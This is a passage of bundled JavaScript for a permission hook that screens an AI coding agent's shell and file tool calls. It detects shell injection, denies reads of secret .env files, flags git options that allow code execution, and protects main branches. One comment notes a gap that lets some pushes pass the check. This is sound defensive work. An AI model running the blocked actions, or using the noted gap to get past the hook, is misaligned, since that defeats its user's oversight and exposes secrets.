return typeof defaultValue === \"function\" ? defaultValue() : shallowClone(defaultValue);\n }\n });\n}\nconst ZodNonOptional = /*@__PURE__*/ $constructor(\"ZodNonOptional\", (inst, def) => {\n $ZodNonOptional.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => nonoptionalProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction nonoptional(innerType, params) {\n return new ZodNonOptional({\n type: \"nonoptional\",\n innerType,\n ...normalizeParams(params)\n });\n}\nconst ZodCatch = /*@__PURE__*/ $constructor(\"ZodCatch\", (inst, def) => {\n $ZodCatch.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => catchProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n inst.removeCatch = inst.unwrap;\n});\nfunction _catch(innerType, catchValue) {\n return new ZodCatch({\n type: \"catch\",\n innerType,\n catchValue: typeof catchValue === \"function\" ? catchValue : () => catchValue\n });\n}\nconst ZodPipe = /*@__PURE__*/ $constructor(\"ZodPipe\", (inst, def) => {\n $ZodPipe.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => pipeProcessor(inst, ctx, json, params);\n inst.in = def.in;\n inst.out = def.out;\n});\nfunction pipe(in_, out) {\n return new ZodPipe({\n type: \"pipe\",\n in: in_,\n out\n });\n}\nconst ZodReadonly = /*@__PURE__*/ $constructor(\"ZodReadonly\", (inst, def) => {\n $ZodReadonly.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => readonlyProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction readonly(innerType) {\n return new ZodReadonly({\n type: \"readonly\",\n innerType\n });\n}\nconst ZodCustom = /*@__PURE__*/ $constructor(\"ZodCustom\", (inst, def) => {\n $ZodCustom.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => customProcessor(inst, ctx, json, params);\n});\nfunction refine(fn, _params = {}) {\n return _refine(ZodCustom, fn, _params);\n}\nfunction superRefine(fn, params) {\n return _superRefine(fn, params);\n}\n\n//#endregion\n//#region src/lib/hook-io.ts\nconst HookInputSchema = object({\n session_id: string(),\n transcript_path: string(),\n cwd: string(),\n permission_mode: string(),\n hook_event_name: string(),\n tool_name: string(),\n tool_input: record(string(), unknown())\n});\n/**\n* Read and parse the full stdin as JSON.\n* Returns a result with the validated HookInput, or the raw data and error on failure.\n*/\nasync function readHookInput() {\n const chunks = [];\n for await (const chunk of process.stdin) chunks.push(typeof chunk === \"string\" ? chunk : String(chunk));\n let parsed;\n try {\n parsed = JSON.parse(chunks.join(\"\"));\n } catch (_error) {\n return {\n ok: false,\n raw: chunks.join(\"\").slice(0, 200),\n error: \"invalid JSON\"\n };\n }\n const result = HookInputSchema.safeParse(parsed);\n if (!result.success) return {\n ok: false,\n raw: parsed,\n error: result.error.message\n };\n return {\n ok: true,\n data: result.data\n };\n}\nconst BashInputSchema = object({\n command: string(),\n description: optional(string())\n});\nconst FilePathInputSchema = object({ file_path: string() });\nconst SearchInputSchema = object({\n pattern: string(),\n path: optional(string())\n});\n/** Parse tool_input as Bash input. Returns null if invalid. */\nfunction parseBashInput(toolInput) {\n const result = BashInputSchema.safeParse(toolInput);\n return result.success ? result.data : null;\n}\n/** Parse tool_input as file-path input (Read, Write, Edit). Returns null if invalid. */\nfunction parseFilePathInput(toolInput) {\n const result = FilePathInputSchema.safeParse(toolInput);\n return result.success ? result.data : null;\n}\n/** Parse tool_input as search input (Glob, Grep). Returns null if invalid. */\nfunction parseSearchInput(toolInput) {\n const result = SearchInputSchema.safeParse(toolInput);\n return result.success ? result.data : null;\n}\nfunction writeDecision(action, reason) {\n const decision = { hookSpecificOutput: {\n hookEventName: \"PreToolUse\",\n permissionDecision: action,\n ...action === \"deny\" && reason ? { permissionDecisionReason: reason } : {}\n } };\n process.stdout.write(JSON.stringify(decision));\n}\n\n//#endregion\n//#region src/lib/audit.ts\nconst MAX_LOG_SIZE = 1048576;\n/**\n* Resolve the audit log path relative to the hook's own location.\n* Co-located at `.claude/hooks/bst-hook.audit.local.jsonl`.\n*/\nfunction getLogPath() {\n const hookDir = path.dirname(fileURLToPath(import.meta.url));\n return path.join(hookDir, \"bst-hook.audit.local.jsonl\");\n}\n/**\n* Rotate the log file if it exceeds MAX_LOG_SIZE.\n* Renames current log to `.1` and starts fresh.\n* Safe against concurrent rotation — ENOENT on rename is expected and ignored.\n*/\nfunction rotateIfNeeded(logPath) {\n try {\n if (fs.statSync(logPath).size > MAX_LOG_SIZE) {\n const rotatedPath = `${logPath}.1`;\n fs.renameSync(logPath, rotatedPath);\n }\n } catch (_error) {}\n}\n/** Whether rotation has been checked this session */\nlet rotationChecked = false;\n/**\n* Append an audit entry to the JSONL log.\n* Never throws — audit failures log to stderr and continue.\n*/\nfunction audit(entry) {\n try {\n const logPath = getLogPath();\n if (!rotationChecked) {\n rotateIfNeeded(logPath);\n rotationChecked = true;\n }\n const record = {\n timestamp: (/* @__PURE__ */ new Date()).toISOString(),\n ...entry\n };\n fs.appendFileSync(logPath, JSON.stringify(record) + \"\\n\");\n } catch (err) {\n process.stderr.write(`[bst-hook] audit write failed: ${err instanceof Error ? err.message : String(err)}\\n`);\n }\n}\n\n//#endregion\n//#region src/lib/shell-tokenizer.ts\n/**\n* Scan a double-quoted string starting at `start` (the char after the opening\n* quote). Returns the unescaped content and the index just past the closing\n* quote, or `null` if the quote is never closed.\n*/\nfunction scanDoubleQuoted(input, start) {\n let content = \"\";\n let i = start;\n while (i < input.length && input[i] !== \"\\\"\") {\n if (input[i] === \"\\\\\" && i + 1 < input.length) {\n const next = input[i + 1];\n if (next === \"\\\"\" || next === \"\\\\\" || next === \"$\" || next === \"`\") {\n content += next;\n i += 2;\n continue;\n }\n }\n content += input[i];\n i++;\n }\n if (i >= input.length) return null;\n return {\n content,\n next: i + 1\n };\n}\nfunction tokenize(input) {\n const tokens = [];\n let current = \"\";\n let i = 0;\n let inToken = false;\n while (i < input.length) {\n const ch = input[i];\n if (ch === \"'\") {\n inToken = true;\n i++;\n while (i < input.length && input[i] !== \"'\") {\n current += input[i];\n i++;\n }\n if (i >= input.length) return {\n ok: false,\n error: \"unterminated single quote\"\n };\n i++;\n } else if (ch === \"\\\"\") {\n inToken = true;\n const scanned = scanDoubleQuoted(input, i + 1);\n if (!scanned) return {\n ok: false,\n error: \"unterminated double quote\"\n };\n current += scanned.content;\n i = scanned.next;\n } else if (ch === \"\\\\\" && i + 1 < input.length) {\n inToken = true;\n current += input[i + 1];\n i += 2;\n } else if (ch === \" \" || ch === \" \") {\n if (inToken) {\n tokens.push(current);\n current = \"\";\n inToken = false;\n }\n i++;\n } else {\n inToken = true;\n current += ch;\n i++;\n }\n }\n if (inToken) tokens.push(current);\n return {\n ok: true,\n tokens\n };\n}\n/**\n* Characters safe to leave unquoted when re-emitting a token. Anything outside\n* this set could be interpreted by the shell-splitter or tokenizer on a\n* subsequent pass (operators, whitespace, quotes, globs, vars, etc.).\n*/\nconst SAFE_UNQUOTED_RE = /^[A-Za-z0-9_\\-./=:@%+,]+$/;\n/** Single-quote-wrap a token unless it only contains safe characters. */\nfunction quoteToken(token) {\n if (token.length > 0 && SAFE_UNQUOTED_RE.test(token)) return token;\n return \"'\" + token.replace(/'/g, \"'\\\\''\") + \"'\";\n}\n/**\n* Inverse of `tokenize`: join tokens into a command string that survives\n* round-tripping through `splitCommand` and `tokenize`.\n*\n* Naive `tokens.join(\" \")` is lossy: any token that was originally quoted\n* loses its quote wrapper and may be mis-parsed when split/tokenized again\n* (e.g. `--testPathPattern=a|b` would split on the embedded `|`).\n*/\nfunction joinTokens(tokens) {\n return tokens.map(quoteToken).join(\" \");\n}\n\n//#endregion\n//#region src/lib/shell-splitter.ts\n/**\n* Split a raw command string into segments on unquoted &&, ||, ;, and | operators.\n* Quote-aware: operators inside single or double quotes are not split points.\n*\n* Returns segments with the operator that follows each one (null for the last segment).\n*/\nfunction splitCommand(input) {\n if (!input || !input.trim()) return [];\n const segments = [];\n let current = \"\";\n let i = 0;\n let inSingleQuote = false;\n let inDoubleQuote = false;\n while (i < input.length) {\n const ch = input[i];\n if (ch === \"'\" && !inDoubleQuote) {\n inSingleQuote = !inSingleQuote;\n current += ch;\n i++;\n continue;\n }\n if (ch === \"\\\"\" && !inSingleQuote) {\n inDoubleQuote = !inDoubleQuote;\n current += ch;\n i++;\n continue;\n }\n if (ch === \"\\\\\" && !inSingleQuote && i + 1 < input.length) {\n current += ch + input[i + 1];\n i += 2;\n continue;\n }\n if (!inSingleQuote && !inDoubleQuote) {\n if (ch === \"&\" && i + 1 < input.length && input[i + 1] === \"&\") {\n pushSegment(segments, current, \"&&\");\n current = \"\";\n i += 2;\n continue;\n }\n if (ch === \"&\" && !(i + 1 < input.length && input[i + 1] === \">\") && !(i > 0 && (input[i - 1] === \">\" || input[i - 1] === \"<\"))) {\n pushSegment(segments, current, \"&\");\n current = \"\";\n i++;\n continue;\n }\n if (ch === \"|\" && i + 1 < input.length && input[i + 1] === \"|\") {\n pushSegment(segments, current, \"||\");\n current = \"\";\n i += 2;\n continue;\n }\n if (ch === \"|\") {\n pushSegment(segments, current, \"|\");\n current = \"\";\n i++;\n continue;\n }\n if (ch === \";\") {\n pushSegment(segments, current, \";\");\n current = \"\";\n i++;\n continue;\n }\n }\n current += ch;\n i++;\n }\n const trimmed = current.trim();\n if (trimmed) segments.push({\n command: trimmed,\n operator: null\n });\n return segments;\n}\nfunction pushSegment(segments, text, operator) {\n const trimmed = text.trim();\n if (trimmed) segments.push({\n command: trimmed,\n operator\n });\n}\n\n//#endregion\n//#region src/lib/injection-guard.ts\n/** Safe redirect patterns that don't constitute file writes */\nconst SAFE_REDIRECTS = /* @__PURE__ */ new Set([\n \"2>&1\",\n \"2>/dev/null\",\n \">/dev/null\",\n \"1>/dev/null\"\n]);\n/**\n* Bash brace expansion: a `{...}` group containing a comma (list form,\n* `{a,b}`/`{a,}`/`{,a}`) or `..` (range form, `{1..3}`/`{a..z}`) is expanded\n* into multiple words *before* the command runs — so `--for{c,}e` reaches the\n* program as argv `--force --fore` and `r{m,}m` as `rmm rm`. Braces without a\n* comma or `..` (`a{b}`, `HEAD@{1}`, `{}`) are left literal by bash and must\n* not be flagged.\n*\n* Bash brace expansion is *recursive*: a comma/range list expands even when a\n* branch of it contains its own nested `{...}`, so `--for{c,{}}e` still yields\n* `--force`. A regex cannot express \"a `,` or `..` at balanced brace depth\"\n* (the earlier `/\\{[^{}]*(?:,|\\.\\.)[^{}]*\\}/` required the separator to be\n* flanked by brace-free text out to the enclosing braces, which nested braces\n* defeat while bash still expands). So this is a depth-aware scan: increment on\n* `{`, decrement on `}` (never below 0), and flag the token if a `,` or `..`\n* appears while depth >= 1 — i.e. anywhere inside any brace group, no matter\n* how deeply nested. Fail-closed: unbalanced braces are flagged too.\n*\n* As with `$`-expansion, the tokenizer has already stripped single quotes by\n* the time `checkInjection` runs, so a genuinely-quoted `'{a,b}'` or\n* `'{\"a\":1,\"b\":2}'` is indistinguishable from an unquoted brace-expansion here\n* and is flagged too — an accepted fail-closed false positive (passthrough\n* only prompts a human).\n*/\nfunction hasBraceExpansion(token) {\n let depth = 0;\n for (let i = 0; i < token.length; i++) {\n const ch = token[i];\n if (ch === \"{\") depth++;\n else if (ch === \"}\") {\n if (depth > 0) depth--;\n } else if (depth >= 1 && (ch === \",\" || ch === \".\" && token[i + 1] === \".\")) return true;\n }\n return false;\n}\n/**\n* An output-redirect token is safe only when it targets `/dev/null` — either as\n* a combined token (`>/dev/null`) or a bare operator whose next token is `/dev/null`.\n*/\nfunction isSafeOutputRedirect(token, next) {\n if (token.endsWith(\">/dev/null\")) return true;\n return token.match(/^(&>>|&>|>>|>|1>|2>)$/) !== null && next === \"/dev/null\";\n}\n/**\n* Detect dangerous patterns in tokenized command segments.\n*\n* Checks for:\n* - Command substitution (`$(...)`, backticks)\n* - Any other unresolved `$`-expansion (`${...}`, `$'...'`, `$\"...\"`, `$VAR`, `$1`, ...)\n* - Brace expansion (`{a,b}` list form, `{1..3}` range form)\n* - Process substitution (`<(...)`, `>(...)`)\n* - File redirects (`>`, `>>`, `<` to non-/dev/null targets) — skipped when `skipRedirects` is true\n* - Newlines in raw segment (injection via line splitting)\n*\n* The tokenizer (`shell-tokenizer.ts`) resolves single-quoted and\n* backslash-escaped content into plain characters before this function ever\n* sees it — so a token's surviving `$` is indistinguishable between \"bash\n* will expand this\" (`$(...)`, `${...}`, `$'...'`, `$\"...\"`, `$VAR`, `$1`,\n* `$@`, `$?`, ...) and \"this `$` was always a literal character\" (e.g. from\n* `'cost $5'` or `\\$5`). Rather than trying to reconstruct quote context\n* after the fact, any token still containing a `$` is treated as unsafe.\n* This is deliberately fail-closed: it routes the segment to passthrough\n* (a human is prompted) rather than risking an unresolved expansion silently\n* auto-approving or auto-denying based on the wrong argv.\n*\n* @param skipRedirects When true, skip redirect analysis (used for trusted resolved scripts)\n*/\nfunction checkInjection(tokens, rawSegment, skipRedirects = false) {\n if (/[\\n\\r]/.test(rawSegment)) return {\n safe: false,\n reason: \"unquoted newline in command\"\n };\n for (const token of tokens) {\n if (token === \"`\") return {\n safe: false,\n reason: \"backtick command substitution\"\n };\n if (token.includes(\"`\")) return {\n safe: false,\n reason: \"backtick command substitution\"\n };\n if (token.includes(\"$\")) return {\n safe: false,\n reason: \"unresolved dollar-expansion\"\n };\n if (hasBraceExpansion(token)) return {\n safe: false,\n reason: \"brace expansion\"\n };\n if (token.includes(\"<(\")) return {\n safe: false,\n reason: \"process substitution\"\n };\n if (token.includes(\">(\") && !SAFE_REDIRECTS.has(token)) return {\n safe: false,\n reason: \"process substitution\"\n };\n }\n if (!skipRedirects) for (let i = 0; i < tokens.length; i++) {\n const token = tokens[i];\n if (SAFE_REDIRECTS.has(token)) continue;\n if (token.includes(\"<\") && !token.includes(\"<(\")) return {\n safe: false,\n reason: \"input redirect\"\n };\n if (token.includes(\">\")) {\n if (isSafeOutputRedirect(token, tokens[i + 1])) continue;\n return {\n safe: false,\n reason: \"output redirect to file\"\n };\n }\n }\n return { safe: true };\n}\n\n//#endregion\n//#region src/lib/env-file.ts\n/**\n* File extensions considered safe documentation templates.\n* Files ending with these suffixes are NOT treated as secret .env files.\n*/\nconst ENV_SAFE_SUFFIXES = [\n \".sample\",\n \".example\",\n \".template\"\n];\n/**\n* Env files owned by a bst command rather than by the developer's secrets.\n*\n* `docker-compose.check.env` is the file `bst docker:check` auto-detects and\n* passes to compose as `--env-file`. It is committed, and it holds placeholder\n* values for a throwaway check stack — yet it is also the *only* way to feed\n* compose interpolation, so denying it left an agent unable to create or read\n* the one file the check needs. Two bst features blocking each other is worse\n* than the marginal secret risk of a file whose purpose is to hold non-secrets.\n*/\nconst ENV_TOOL_OWNED_SUFFIXES = [\".check.env\"];\n/**\n* Pattern matching .env files: `.env`, `.env.local`, `.env.production`, etc.\n* Does NOT match `.env.sample`, `.env.example`, `.env.template`.\n*/\nconst ENV_FILE_PATTERN = /(^|[/\\\\])(\\.env(\\..*)?|.*\\.env(\\..*)?|\\.env)$/;\n/** Check if a filename is a safe .env documentation template, or a bst-owned env file. */\nfunction isEnvSafeSuffix(filename) {\n return [...ENV_SAFE_SUFFIXES, ...ENV_TOOL_OWNED_SUFFIXES].some((suffix) => filename.endsWith(suffix));\n}\n/**\n* Check if a path targets a .env file (excluding safe templates).\n* Works with both bare filenames and full paths.\n*/\nfunction isEnvFile(filePath) {\n if (isEnvSafeSuffix(path.basename(filePath))) return false;\n return ENV_FILE_PATTERN.test(filePath);\n}\n/**\n* Check if any non-flag token in a Bash command targets a .env file.\n* Used by Bash deny rules for cat, head, tail, grep, etc.\n*/\nfunction tokensTargetEnvFile(tokens) {\n return tokens.slice(1).some((t) => !t.startsWith(\"-\") && isEnvFile(t));\n}\n\n//#endregion\n//#region src/lib/git-state.ts\n/**\n* Return the current branch name, or null when:\n* - cwd is not a git repository,\n* - HEAD is detached,\n* - any git invocation fails.\n*\n* Null is the safe protected default — callers treat it as \"protected\".\n*/\nfunction getCurrentBranch(cwd) {\n try {\n const out = execFileSync(\"git\", [\n \"rev-parse\",\n \"--abbrev-ref\",\n \"HEAD\"\n ], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!out || out === \"HEAD\") return null;\n return out;\n } catch {\n return null;\n }\n}\n/**\n* Return the remote default branch (from refs/remotes/origin/HEAD), stripped\n* of the \"origin/\" prefix. Returns null when the symbolic ref isn't set\n* (common for fresh clones with no remote).\n*/\nfunction getRemoteDefaultBranch(cwd) {\n try {\n const out = execFileSync(\"git\", [\n \"symbolic-ref\",\n \"--short\",\n \"refs/remotes/origin/HEAD\"\n ], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!out) return null;\n return out.startsWith(\"origin/\") ? out.slice(7) : out;\n } catch {\n return null;\n }\n}\nconst ALWAYS_PROTECTED = [\"main\", \"master\"];\n/**\n* Compute the full protected set: hard-coded {main, master}, plus the remote\n* default branch when available, plus any caller-supplied extras (e.g. from\n* .claude/hooks/bst-hook.settings.json#protectedBranches).\n*\n* Known limitation: if a repo's real default branch is neither \"main\" nor\n* \"master\" AND refs/remotes/origin/HEAD is unset (getRemoteDefaultBranch()\n* returns null — e.g. a shallow or partial clone that never fetched the\n* symbolic ref), that default branch is absent from this set. A push whose\n* refspec destination is that branch would then pass the protected-branch\n* check in isGitSafePush. This is not treated as a reason to block pushes\n* whenever origin/HEAD is unset, since that would break the far more common\n* case (default branch already covered by {main, master} or by\n* protectedBranches); repos with a non-standard default branch name should\n* set it explicitly via .claude/hooks/bst-hook.settings.json#protectedBranches.\n*/\nfunction getProtectedBranches(cwd, extra) {\n const set = new Set(ALWAYS_PROTECTED);\n const remote = getRemoteDefaultBranch(cwd);\n if (remote) set.add(remote);\n for (const b of extra) set.add(b);\n return set;\n}\n/**\n* Configured remote names (`git remote`). Empty when cwd is not a repo or git\n* fails — the safe default, since callers require membership to auto-approve.\n*/\nfunction getRemotes(cwd) {\n try {\n const out = execFileSync(\"git\", [\"remote\"], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!out) return /* @__PURE__ */ new Set();\n return new Set(out.split(\"\\n\").map((line) => line.trim()).filter(Boolean));\n } catch {\n return /* @__PURE__ */ new Set();\n }\n}\n\n//#endregion\n//#region src/lib/path-scope.ts\n/**\n* Path-containment helpers that are correct across operating systems.\n*\n* The hook receives a `cwd` from its host. On Windows the same location can be\n* spelled with either drive-letter case (`D:\\proj` vs `d:\\proj`) — the IDE is\n* inconsistent — and NTFS treats them as identical. Plain `===` / `startsWith`\n* comparisons on the resolved path therefore misfire whenever the drive-letter\n* case differs, falling through to passthrough (reads) or a false\n* \"outside the project\" deny (writes).\n*\n* The fix: pick the path flavor (win32 vs posix) from the *trusted* base path —\n* `cwd` — and run every resolve/compare through that flavor. win32's\n* `relative()` is case-insensitive and separator-aware, so drive-letter case no\n* longer matters; posix stays case-sensitive, as that filesystem demands.\n* Deriving the flavor from the base (not the incoming target) means a crafted\n* target can't flip the comparison mode.\n*/\n/** Select the path flavor implied by a base path (a leading drive letter ⇒ win32). */\nfunction pathFlavorFor(base) {\n return /^[a-zA-Z]:[\\\\/]/.test(base) ? path.win32 : path.posix;\n}\n/** Resolve `target` against `base` using the flavor implied by `base`. */\nfunction resolveIn(base, target) {\n return pathFlavorFor(base).resolve(base, target);\n}\n/**\n* Whether `target` is `dir` itself or nested beneath it, compared with `dir`'s\n* flavor. `target` is expected to be already resolved (absolute); pass it through\n* `resolveIn` first when it may be relative or contain `..`.\n*/\nfunction isWithin(dir, target) {\n const pp = pathFlavorFor(dir);\n const rel = pp.relative(dir, target);\n if (rel === \"\") return true;\n if (rel === \"..\" || rel.startsWith(\"..\" + pp.sep)) return false;\n return !pp.isAbsolute(rel);\n}\n/** Whether two paths refer to the same location, compared with `a`'s flavor. */\nfunction samePath(a, b) {\n return pathFlavorFor(a).relative(a, b) === \"\";\n}\n/**\n* Whether `filePath` (resolved against `cwd`) is a `.git` directory\n* anywhere under `cwd` — top-level or nested inside a subdirectory repo —\n* or anything beneath one. Covers both the directory in a normal clone and\n* the gitdir-pointer *file* git writes at the root of a worktree checkout\n* (both cases have a path segment exactly equal to `.git`).\n*\n* A nested repo's git dir (`<cwd>/sub/.git/config`) is just as sensitive as\n* the top-level one: an unguarded write there can add a malicious remote or\n* rewrite push config that a later `cd sub && git push` trusts. So this\n* checks every path segment of `filePath` resolved against `cwd`, not just\n* `<cwd>/.git` — matching `.git` at *any* depth, as long as the resolved\n* path stays within `cwd` (paths outside `cwd` are handled by the\n* outside-cwd-write rule instead).\n*\n* Matches on a resolved path *segment* exactly equal to `.git`, not a\n* substring, so it does not mistake `.gitignore`, `.gitkeep`, `.github/`,\n* `src/foo.git.ts`, or a directory merely named `mygit`/`git` for a `.git/`\n* target.\n*/\nfunction targetsGitDir(filePath, cwd) {\n const pp = pathFlavorFor(cwd);\n const resolved = resolveIn(cwd, filePath);\n if (!isWithin(cwd, resolved)) return false;\n const rel = pp.relative(cwd, resolved);\n if (rel === \"\") return false;\n return rel.split(pp.sep).includes(\".git\");\n}\n/**\n* Whether `filePath` (resolved against `cwd`) has a path segment exactly equal\n* to `node_modules` — i.e. it names a location inside *any* installed package\n* tree, at any depth, including pnpm's virtual store\n* (`node_modules/.pnpm/<pkg>/node_modules/<pkg>/…`).\n*\n* **Deliberately not scoped to `cwd`**, unlike `targetsGitDir`. pnpm populates\n* `node_modules` with *hardlinks into the global content-addressable store*, so\n* a single in-place overwrite of an installed file (a plain `cp`, a `>`\n* redirect — anything that opens the destination `O_WRONLY|O_TRUNC` rather than\n* unlinking it first) writes *through* the link and mutates the store's own\n* content-addressed file. That corrupts the package for the global store, every\n* other project on the machine that shares the inode, and every future install\n* or `pnpm dlx` that hardlinks it — with no error at the scene, because the\n* directory that did the writing ends up perfectly consistent.\n*\n* This is exactly how a local `@bensandee/tooling` build landed on top of the\n* published 0.64.2 in the store on 2026-07-13: `cp -r <local>/dist/*` over a\n* scratch consumer's `node_modules/@bensandee/tooling/dist/`. The destination\n* was outside `cwd` — so a cwd-scoped check would not have seen it — and the\n* store stayed broken until a consumer's `pnpm dlx` failed days later with\n* `ERR_MODULE_NOT_FOUND` for a chunk that no published tarball has ever\n* contained.\n*\n* The lesson encoded here: **cwd-containment is not a safety boundary for\n* `node_modules`.** A path inside it is not \"in the project\" in any meaningful\n* sense — it is a shared, machine-global resource wearing a local path. Hence\n* every segment of the *resolved* path is checked, wherever it lands.\n*\n* Matches on a path *segment*, not a substring, so `src/node_modules_helper.ts`\n* and `docs/node_modules.md` are not mistaken for the real thing.\n*/\nfunction targetsNodeModules(filePath, cwd) {\n return resolveIn(cwd, filePath).split(/[/\\\\]/).includes(\"node_modules\");\n}\n\n//#endregion\n//#region src/rules.ts\nconst GIT_READ_OPS = /* @__PURE__ */ new Set([\n \"status\",\n \"log\",\n \"diff\",\n \"show\",\n \"blame\",\n \"grep\",\n \"shortlog\",\n \"range-diff\",\n \"describe\",\n \"branch\",\n \"remote\",\n \"fetch\",\n \"ls-files\",\n \"ls-tree\",\n \"ls-remote\",\n \"show-ref\",\n \"for-each-ref\",\n \"rev-parse\",\n \"rev-list\",\n \"cat-file\",\n \"diff-tree\",\n \"name-rev\",\n \"merge-base\",\n \"check-ignore\"\n]);\n/** Git subcommands that modify the working tree, index, or history. */\nconst GIT_WRITE_OPS = /* @__PURE__ */ new Set([\n \"push\",\n \"add\",\n \"commit\",\n \"reset\",\n \"merge\",\n \"rebase\",\n \"cherry-pick\",\n \"checkout\",\n \"switch\",\n \"stash\",\n \"tag\",\n \"revert\",\n \"clean\",\n \"rm\",\n \"mv\"\n]);\n/** Flags on git that enable arbitrary code execution */\nconst GIT_DANGEROUS_FLAGS = /* @__PURE__ */ new Set([\n \"-c\",\n \"--exec-path\",\n \"--pager\",\n \"--upload-pack\",\n \"--receive-pack\"\n]);\n/** Git global flags that consume the next token as an argument. */\nconst GIT_FLAGS_WITH_ARG = /* @__PURE__ */ new Set([\n \"-C\",\n \"-c\",\n \"--git-dir\",\n \"--work-tree\"\n]);\n/** Extract the git subcommand (first non-flag token after \"git\"), skipping flag arguments. */\nfunction getGitSubcommand(tokens) {\n const args = tokens.slice(1);\n for (let i = 0; i < args.length; i++) {\n const t = args[i];\n if (GIT_FLAGS_WITH_ARG.has(t)) {\n i++;\n continue;\n }\n if (t.startsWith(\"-\")) continue;\n return t;\n }\n}\nfunction isGitReadOp(tokens) {\n for (const t of tokens.slice(1)) {\n if (GIT_DANGEROUS_FLAGS.has(t) || t === \"-o\" || t.startsWith(\"--output\")) return false;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"-o=\") || t.startsWith(\"--output=\")) return false;\n }\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n if (sub === \"stash\") {\n const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n return stashAction === \"list\" || stashAction === void 0;\n }\n if (sub === \"remote\") {\n let actionIdx = tokens.indexOf(\"remote\") + 1;\n while (tokens[actionIdx] === \"-v\" || tokens[actionIdx] === \"--verbose\") actionIdx++;\n const remoteAction = tokens[actionIdx];\n return remoteAction === void 0 || remoteAction === \"-v\" || remoteAction === \"--verbose\" || remoteAction === \"show\" || remoteAction === \"get-url\";\n }\n return GIT_READ_OPS.has(sub);\n}\nfunction isGitWriteOp(tokens) {\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n if (sub === \"stash\") {\n const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n if (stashAction === \"list\" || stashAction === void 0) return false;\n }\n return GIT_WRITE_OPS.has(sub);\n}\n/** Safe stash actions that don't risk data loss. */\nconst STASH_SAFE_ACTIONS = /* @__PURE__ */ new Set([\n \"push\",\n \"pop\",\n \"apply\",\n \"show\"\n]);\n/**\n* Positional (non-flag) path arguments of a `git mv` command. The caller only\n* invokes this once the subcommand is known to be `mv`, so `mv` is present.\n* `git mv` flags (-f/--force, -k, -n/--dry-run, -v/--verbose) never consume a\n* separate argument, so every non-flag token after `mv` is a path.\n*/\nfunction gitMvPaths(tokens) {\n const mvIdx = tokens.indexOf(\"mv\");\n return tokens.slice(mvIdx + 1).filter((t) => !t.startsWith(\"-\"));\n}\n/**\n* Git write operations that are safe to auto-approve:\n* - `git add` — staging is trivially reversible\n* - `git checkout -b/-B` — branch creation\n* - `git switch -c/-C` — branch creation\n* - `git switch <branch>` — branch switching (switch only handles branches, unlike checkout)\n* - `git stash` / `git stash push|pop|apply|show` — reversible stash operations\n* - `git mv` — only when every path is a `.md` file under `docs/` (plan-lifecycle moves)\n*/\nfunction isGitSafeWriteOp(tokens, ctx) {\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n const subIdx = tokens.indexOf(sub);\n for (const t of tokens.slice(1, subIdx)) {\n if (GIT_DANGEROUS_FLAGS.has(t) || GIT_REPO_REDIRECT_FLAGS.has(t)) return false;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return false;\n }\n if (sub === \"add\") return true;\n if (sub === \"mv\") {\n const GIT_MV_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n \"-C\",\n \"--git-dir\",\n \"--work-tree\",\n \"-c\",\n \"--exec-path\"\n ]);\n if (tokens.some((t) => GIT_MV_UNSAFE_FLAGS.has(t) || t.startsWith(\"--exec-path=\"))) return false;\n const paths = gitMvPaths(tokens);\n return paths.length >= 2 && paths.every((p) => isDocsMarkdownPath(p, ctx));\n }\n if (sub === \"checkout\") return tokens.slice(tokens.indexOf(\"checkout\") + 1).some((t) => t === \"-b\" || t === \"-B\");\n if (sub === \"switch\") return true;\n if (sub === \"stash\") {\n const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n if (stashAction === void 0) return true;\n return STASH_SAFE_ACTIONS.has(stashAction);\n }\n if (sub === \"worktree\") {\n const worktreeAction = tokens[tokens.indexOf(\"worktree\") + 1];\n return worktreeAction === \"list\" || worktreeAction === \"add\";\n }\n return false;\n}\n/** Git subcommands eligible for the feature-branch auto-approval. */\nconst GIT_FEATURE_BRANCH_OPS = /* @__PURE__ */ new Set([\n \"commit\",\n \"merge\",\n \"rebase\",\n \"cherry-pick\",\n \"revert\",\n \"reset\"\n]);\n/** Global git flags that redirect the effective repository/work tree. */\nconst GIT_REPO_REDIRECT_FLAGS = /* @__PURE__ */ new Set([\n \"-C\",\n \"--git-dir\",\n \"--work-tree\"\n]);\n/**\n* True when:\n* 1. The git subcommand is in GIT_FEATURE_BRANCH_OPS;\n* 2. No global dangerous flag is present (config / executable injection);\n* 3. No repo-redirect flag is present (-C / --git-dir / --work-tree);\n* 4. No per-op injection flag is present (`rebase --exec` / `-x`);\n* 5. getCurrentBranch(ctx.cwd) is non-null AND not in the protected set.\n*\n* All five must hold. Any failure → return false and let the deny rules fire.\n*/\nfunction isGitFeatureBranchWrite(tokens, ctx) {\n const sub = getGitSubcommand(tokens);\n if (!sub || !GIT_FEATURE_BRANCH_OPS.has(sub)) return false;\n for (const t of tokens.slice(1)) {\n if (GIT_DANGEROUS_FLAGS.has(t)) return false;\n if 